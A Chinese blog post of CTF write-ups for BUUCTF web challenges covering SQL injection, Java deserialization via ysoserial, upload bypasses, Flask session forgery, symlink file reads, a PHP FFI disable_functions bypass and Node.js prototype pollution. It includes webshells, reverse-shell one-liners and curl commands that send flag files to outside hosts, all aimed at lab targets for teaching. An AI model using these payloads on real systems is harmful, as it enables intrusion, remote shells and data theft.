第一个#被单引号包裹。成了普通的#字符。第二个#注释掉了后面的语句,造成sql注入


在url中#标识锚点,表示网页中的一个位置,比如http:xxx/index.html/#aaa,浏览器读取这个url,会将aaa移到可视位置。在第一个#,都会被视为位置标识符,不会发送到服务器
而jdbc类似于url解析,所以会忽略#后面的字符
而#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23

SqlDict.class中就有这样的语句
现在开始注入
不知道是不是网络的原因,这几个步骤经常爆不出来东西
爆库

1
2
3
myapp#' union select group_concat(schema_name) from information_schema.schemata#
结果
information_schema,myapp,mysql,performance_schema,sys

爆表

1
2
3
myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user

爆字段

1
2
3
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

获取值

1
2
3
4
5
6
dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

所以我们就得到一个用户信息
序号为1,name为admin,密码为admin@Rrrr_ctf_asde

然后将用户名和密码在/common/user/login处提价,获取一串字符串


将这段字符串放到/common/user/current处提交,然后就会发现回显了这个用户的信息

对序列化字符串分析

1
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

引用Mustapha Mond师傅的解释

下方的特征可以作为序列化的标志参考:

  • 一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
  • 或者如果以aced开头,那么他就是这一段Java序列化的16进制。

java Deserialization Scanner插件使用

使用burpsuite的java Deserialization Scanner插件 对其进行分析,在extender中安装这个插件

然后配置一下环境变量

github下载ysoserial工具,ysoserial是一款用于生成 利用不安全的Java反序列化 的有效负载的概念验证工具。
安装ysoserial

先来分析
在进行认证操作时抓包

抓到包将其发送到插件中

然后选择base64开始扫描,结果回显可能为ROME

接下来要用到ysoserial

curl将flag带出来

1
java -jar ysoserial-all.jar ROME "curl http://ip:6666 -d  @/flag" >a.bin

执行语句后生成了a.bin

用python脚本解码一下

1
2
3
4
5
6
7
8
# -*- coding: UTF-8 -*-
import base64
file = open("a.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()


vps上nc监听端口并将获得的字符串重新认证
要在前面加上Bearer

或者也可以反弹shell

1
2
3
bash -i >& /dev/tcp/111.111.111.111/6666 0>&1
base64编码
java -jar ysoserial-all.jar ROME "bash -c {echo,上面的base64编码}|{base64,-d}|{bash,-i}" > a.bin

接着如上的操作即可
得到shell

[RoarCTF 2019]Simple Upload

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型,这里文件过滤无效
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

知识点:

  • thinkphp默认上传目录:index.php/home/index/uplaod
  • thinkphp支持多个文件上传
  • thinkphp的文件上传用法这里不对,限定后缀应为$upload->exts,所以文件名过滤无效,所以我们可以上传php文件
  • thinkphp上传默认命名方式受时间戳控制,所以间隔很短的长传文件名会大致一样。文件名是通过unqid得到的,根据当前时间得到的随机数

再来了解一下uniqid

uniqid

uniqid函数是根据当前计算机时间生成一个文件名的函数 这也是upload类调用的命名函数,也就是说,如果我们两个上传的文件在时间上够接近,那么它们的文件名就可以用爆破的方式跑出来,如果我们上传成功,那么当我们访问这个文件的时候,就会有正常回显,但是如果我们访问不到,就会404,也就是说可以根据这个进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests


url = "http://a1bd41a1-7318-4723-afd8-ca5f1ab15ba2.node5.buuoj.cn:81/index.php/home/index/upload"

file1 = {'file': open("url.txt", 'rb')}
file2 = {'file[]': open("1.php", 'rb')}

r = requests.post(url, files = file1)
print(r.text)
r = requests.post(url, files = file2)
print(r.text)
r = requests.post(url, files = file1)
print(r.text)


发现只有后面的五位不一样,不考虑大写字母,也就36的5次方,没上亿,应该能扛得住

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
dir='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for x in dir:
for y in dir:
for z in dir:
url='http://a1bd41a1-7318-4723-afd8-ca5f1ab15ba2.node5.buuoj.cn:81/Public/Uploads/2024-11-12/67335f64{}{}{}{}{}.php'.format(i,j,x,y,z)
r = requests.get(url)
# print(url)
if r.status_code== 200:
print(url)
break

几千万个排列方式,等到天荒地老,网上的wp清一色这种爆破方式,这里我搞了个多线程,成功把电脑淦崩三次且爆到答案
要么就一直提交,可能会随到3个不一样的数,那样就3万多种排列方式,就简单点了

上传了半天,运气爆棚,看看这个
。。。。用bp爆,python爆都没出结果,可能是脸黑把,但我看其它博客是能爆成功的

还有一种解法,应该不算是非预期解

thinkphp文件上传时的文件名的核心处理

1
2
3
4
5
6
7
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}

这里重点注意strip_tags()这个函数,它的作用是去除PHP标签和HTML标签

我们可以通过这个特性
直接上传1.<>php,内容写一句话就好了

1
2
3
4
5
6
7
8
9
10
11
import requests


url = "http://5e0414b2-d663-4a2c-bdfe-411721dd027e.node5.buuoj.cn:81/index.php/home/index/upload"

file = {'file': ("1.<>php", '<?php eval($_POST[1])?>')}



r = requests.post(url, files = file)
print(r.text)


然后进入这个路径,竟然不用命令执行flag就给了,命令执行也没用其实

[SWPU2019]Web3

启动环境

首先是一个登录页面,标题为:CTF-Flask-Demo,推测其应为Flask所编写,尝试使用admin用户登录
弱密码直接登录admin admin

点击upload

提示权限不足,考虑为session判断权限,查看cookie

1
session=.eJyrVspMUbKqVlJIUrJS8g1xLFeq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFxjxhY.Z0m7Bw.hy1P-2NysU_lAi0E-YwUFwEFtRg

在Flask中,session是保存在Cookie中,也就是本地,所以可以直接读取其内容,也就产生了Flask伪造session的漏洞
可以用脚本解密session,使用session_decode

得到解密后的session

1
{'id': b'100', 'is_login': True, 'password': 'admin', 'username': 'admin'}

其中username属性和password属性均为admin,可能后端是验证id属性的值,尝试伪造session,但需要SECRET_KEY的值,SECRET_KEY是Flask中的通用密钥,主要在加密算法中作为一个参数,这个值的复杂度影响到数据传输和存储时的复杂度,密钥最好存储在系统变量中。
访问一个不存在的目录,查看请求头

base64解码

得到

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

将其中id的值修改为1,构造本题所需的session,

1
python flask_session_cookie_manager3.py encode -s 'keyqqqwwweee!@#$%^&*' -t "{'id': b'1', 'is_login': True, 'password': 'admin', 'username': 'admin'}"


得到

1
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.Z0mTzw.TCsWvESKI8xV1eMEwotAVE-K_ls

这里抓下包,替换cookie
然后就能进入upload上传文件了
但是到了上传文件时发现并不能上传
在upload目录下的源码发现注释有源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"
-->

应该为路由route.py中的upload页面的源码,对其进行源码审计
在/upload路由中

  • 需要上传一个以.zip结尾的压缩图片
  • 服务器进行解压
  • 文件名不能存在/

在/showflag路由中
给出了flag的路径 ./flag/flag.jpg

通过查阅资料,unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,来读取文件
本题漏洞点在这

1
2
3
4
5
6
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)

这里解释一下软链接

在不知道flask工作目录时,我们可以用/proc/self/cwd/flag.jpg来访问flag # /proc/self 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接 即Flask运行进程目录
ln -s 时linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shaw 这会出现一个名为shaw的文件,其内容为/etc/passwd的内容

所以最后思路是利用ln -s命令,软链接到/proc/self/cwd/flag/flag.jpg

1
2
ln -s /proc/self/cwd/flag/flag.jpg shaw
zip -ry shaw.zip shaw

其中zip命令的参数含义如下

  • -r:将指定的目录下的所有子目录以及文件一起处理
  • -y:直接保存符号连接,而非该链接所指向的文件,本参数仅在UNIX之类的系统下有效

上传压缩包抓包即可

还有一道类似的题

[RCTF 2019]Nextphp

前置知识
一些关于php7.4版本需知
FFI扩展:ffi.cdef
其中有这样一段话

如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码
如果一个类同时实现了Serializable和__Serialize() /__Unserialize(),则序列化讲倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Un unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。
这也是之后序列化后首字母是C而不是O,同时会先执行Serializable接口中的方法。同时exp中需要把__Unserialize()删除
PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用__destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。

源码

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

蚁剑不能连接,也不能执行system命令
但可以写一个shell

1
?a=file_put_contents('1.php','<?php eval($_POST["1"]);?>');


禁用了很多函数

尝试bypasss_disable_function

使用LD_PRELOAD方法
发现mail,putenv,error_log全被禁用了

使用Apache Mod CGI
没有开启

还有就是FFI,本题的利用方法就是这个绕过Disable Functions来搞事情,这个讲的比较详细

核心思想:
实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions
即先声明后调用
它的利用版本正好也是php7.4以上,还要检查一下是否开启FFI扩展且ffi.enable=true

FFI处于enable状态
在连接到蚁剑后发现有一个preload.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

本程序中并没有用户传参,还是需要从index.php中传参景区,反序列化。所以去掉多余的函数,编写exp

前置知识说到,需要删掉__serialize和__unserialize,因为php7.4新特性它会优先触发这两个函数,而看这两个函数可知其实现的方法并不是正确的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
];

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
}
}

$a = new A();
$b = serialize($a);
echo $b;

序列化结果

1
C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

上述代码实现声明

1
FFI::cdef("int system(const char *command);")

所以现在只需调用即可,通过设置__serialize()[‘ret’]的值获取flag
__serialize()[‘ret’]->system(‘curl -d @/flag ip’)

payload

1
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag 1.2.1.2:6666');


传参后完整过程

  1. unserialize
    把payload传给data参数,即覆盖原参数

    1
    2
    3
    4
    5
    protected $data = [
    'ret' => null,
    'func' => 'FFI::cdef',
    'arg' => 'int system(const char *command);'
    ];
  2. run

ret=FFI::cdef(‘int system(const char *command);’)

  1. __serialize()

指定的ret内容既是最终的执行命令,通过最后的return调用,返回flag,这里无回显,但是打过去没报错,需要监听,反弹shell行不通,不到为什么

[FBCTF2019]Event

打开题目,只有一个登录注册狂,无法使用admin登录注册

在/flag页面中提示我们并不是管理员,猜测要得到管理员权限才可以Get Flag

在主页看到表单,随意输入一些值进去,页面回显了输入的值
这里可能存在xss或者ssti,尝试后,无xss,应该存在ssti
抓包发现cookie,event_sesh_cookie应该是jwt加密过

大致猜测出本题应该是可以通过SSTI得到密钥伪造cookie,越权登录admin的账户
在提交数据时,有三个可控参数,经测试在event_important参数存在模板注入,输入__dict__,发现成功回显
接着查找配置文件

1
__class__.__init__.__globals__[app].config


得到的密钥为

1
fb+wwn!n1yo+9c(9s6!_3o#nqm&amp;&amp;_ej$tez)$_ik36n8d7o6mr#y

使用session_decode解密一下

设想通过改id的值为0来实现越权,失败
在没有什么信息可以修改,除非
发现cookie中有个参数为user
再次解密

尝试修改它的值为admin
应该是与flask的签名有关
使用工具Flask-Unsign

1
flask-unsign.exe --secret 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' --sign --cookie "admin"


得到的user值
里面双引号密钥改为单引号

1
ImFkbWluIg.Z0rKDw.HS9TsesgrMmgOHXk4NcWX64WuYA

替换cookie

[NewStarCTF 2023 公开赛道]include 0。0

源码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

收录了几种方法

1
2
3
4
5
?file=php://filter/convert.iconv.SJIS*.UCS-2/resource=flag.php
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

[网鼎杯 2020 青龙组]notes

题目给了附件,给了app.js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})


app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

审计代码,可以发现在status路由下,有一个命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

这一行有可执行代码

1
exec(commands[index], {shell:'/bin/bash'}

可以通过污染commands这个字典,例如令commands.a=whoami也会帮我们遍历执行
了解到,这个for(let index in commands) 不只是遍历commands表,还会去回溯遍历原型链上的属性

for … in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)
像array和Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性
例如 String 的indexOf()方法或Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)

所以我们这里可以污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码

/edit_note下可以传三个参数,id author enote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

传入后直接写入当前的note_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

这里注意undefsafe,这里涉及到一个cve漏洞CVE-2019-10795 原型链污染(Prototype Pollution)
在版本小于2.0.3的undefsafe函数有漏洞,可以污染所有对象的原型链,给对象添加属性。
POC如下,污染原型链后,空对象多了个ddd属性,且{}.ddd=JHU

1
2
3
4
5
6
var a = require("undefsafe");
var b = {};
var c = {};
var payload = "__proto__.ddd";
a(b,payload,"JHU");
console.log(c.ddd);

1
2
3
4
5
6
var object = {
a: {b: [1,2,3]}
};
var res = undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }
//这里可以看见1被替换成了10

所以我们这里可以污染原型链的属性,然后在/status处遍历原型链中我们污染的属性去执行恶意代码
__proto__返回原型链属性
payload如下

1
id=__proto__.bb&author=curl -F 'flag=@/flag' 1.1.1.1:6666&raw=a

在/edit_note界面post传入payload,成功污染原型链
vps上监听端口
然后url进入/status路径下即可获得flag

或者是直接弹shell

1
2
3
4
5
6
POST /edit_note

id=__proto__.cmd&author=curl http://xxx.xxx.xxx.xxx/shell.txt|bash&raw=a

在vps/html目录下创建shell.txt然后把下面的写进去
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1

然后监听端口

[CSAWQual 2016]i_got_id

首先呢,打开环境

三个超链接
第一个Hello World

告诉了我们本题使用的是Perl语言
第二个Forms是一个登录页面,尝试了注入弱密码都不行
第三个Files页面是一个文件上传页面,首先上传一个1.txt文件

发现上传文件的内容被打印在了页面中
根据它的作用,盲猜一手处理文件上传逻辑的代码

1
2
3
4
5
6
7
8
9
use strict;
use warnings;
use CGI;

my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) )
{
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; } }

其中param( ‘file’ );param()函数返回一个列表的文件。但是只有第一个文件会被放入file变量中。
while ( <$file> )中,<>不能处理字符串,除非是ARGV,因此循环遍历并将每个值使用open()
调用。
对于读文件,如果传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。
所以,在上传的正常文件前加上一个文件上传项ARGV,然后在URL中传入文件路径参数,就可以读取任意文件。
上传一个文件并抓包

将画起来的区域复制,放到第一行,并删除filename属性,内容为ARGV

URL中参数指定路径达到文件读取

flag在根目录下,直接读取就好
或者我们可以RCE
Perl 的 open() 函数。此函数还可以执行命令,因为它用于打开管道。在这种情况下,您可以使用 |作为分隔符,因为 Perl 会查找 |来指示 open() 正在打开一个管道。攻击者可以劫持 open() 调用,否则该调用甚至不会通过添加 |到他的询问。

没有回显,这种问题统一甩锅给BUU,原题是这样解的。。
原题题解


歪比吧卜
http://example.com/2024/10/01/buuctf_web/
作者
奇怪的奇怪
发布于
2024年10月1日
许可协议